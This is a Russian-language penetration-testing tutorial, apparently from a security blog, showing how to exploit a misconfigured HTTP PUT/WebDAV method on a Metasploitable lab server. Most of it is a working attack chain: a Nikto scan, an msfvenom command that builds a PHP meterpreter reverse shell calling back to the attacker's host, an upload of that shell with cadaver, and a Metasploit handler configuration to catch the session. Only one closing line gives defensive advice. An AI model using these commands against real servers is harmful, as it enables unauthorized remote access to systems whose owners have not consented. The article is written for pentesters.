В этой статье рассмотрим уязвимость HTTP PUT. Я покажу, как эксплуатировать уязвимость HTTP PUT. В конце, как обычно, дам советы для защиты.
Еще по теме: Эксплуатация уязвимости PrintNightmare
Что такое метод HTTP PUT
Метод PUT изначально был представлен как один из методов HTTP для управления файлами.
Чем отличается POST и PUT?
- POST — отправка новых данных на сервер.
- PUT — добавление и изменение уже имеющейся на сервере информации.
Если на веб-сервере включен метод HTTP PUT и неправильно настроены права, его можно использовать для загрузки вредоносных файлов (веб-шелла / обратного шелла / reverse shell) на целевой сервер.
Cadaver — это клиент для загрузки файлов по протоколу WebDAV. Cadaver установлен по умолчанию в Kali Linux. С помощью Cadaver можно загрузить обратный шелл на уязвимую систему, используя метод HTTP PUT.
Статья в образовательных целях и предназначается для пентестеров (белых хакеров). Взлом и несанкционированный доступ уголовно наказуем. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
Как найти уязвимость HTTP PUT
Чтобы убедиться, что целевая система поддерживает метод HTTP PUT, позволяющий нам загрузить на сервер удаленный шелл, запустим сканирование с помощью сканера для поиска уязвимостей Nikto.
В качестве уязвимого сервера, для этого примера, будет выступать Metasploitable.
Для сканирования веб-сервера с помощью Nikto, используем команду:
1 |
nikto -h http://172.17.0.2/dav/ |
На следующем скрине видим, что веб-приложение уязвимо позволяет загружать файлы с помощью метода HTTP PUT.
Теперь создадим обратный шелл с помощью MSFVenom:
1 |
msfvenom -p php/meterpreter/reverse_tcp lhost=172.17.0.1 lport=4444 -f raw |
Здесь lhost — ваш IP-адрес (в моем случае — 172.17.0.1).
После запуска команды MSFVenom будет создан бэкдор:
Теперь можно создать файл php (в моем случае — shell.php) и вставить туда полезную нагрузку созданную в MSFVenom. После этого залить вредоносный файл на сервер.
Загрузка обратного шелла с помощью Cadaver
В начале нужно указать целевой сервер:
1 |
cadaver http://172.17.0.2/dav/ |
Затем залить созданный файл .php на сервер:
1 |
put /home/kali/testshell.php |
Теперь, при обновлении сайта увидим reverse shell.
Эксплуатация уязвимости HTTP PUT
Для эксплуатации запустим Metasploit Framework:
1 |
msfconsole |
В Metasploit Framework вводим команды для выбора обработчика и полезной нагрузки. Устанавливаем lhost (ваш IP-адрес) и устанавливаем lport:
1 2 3 4 5 |
use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 172.17.0.1 set lport 4444 exploit |
Теперь, после нажатия по файлу php, будет открыта сессия в Metasploit Framework.
Вот как мы можем эксплуатировать уязвимость HTTP PUT, используя Cadaver, установленный в Kali Linux.
Как защититься от уязвимости HTTP PUT
Этот метод используется для изменения или удаления файлов из файловой системы целевого сервера. Чтобы обезопасить сервер, при использовании метода HTTP PUT, ограничьте права доступа к файлам.
Еще по теме: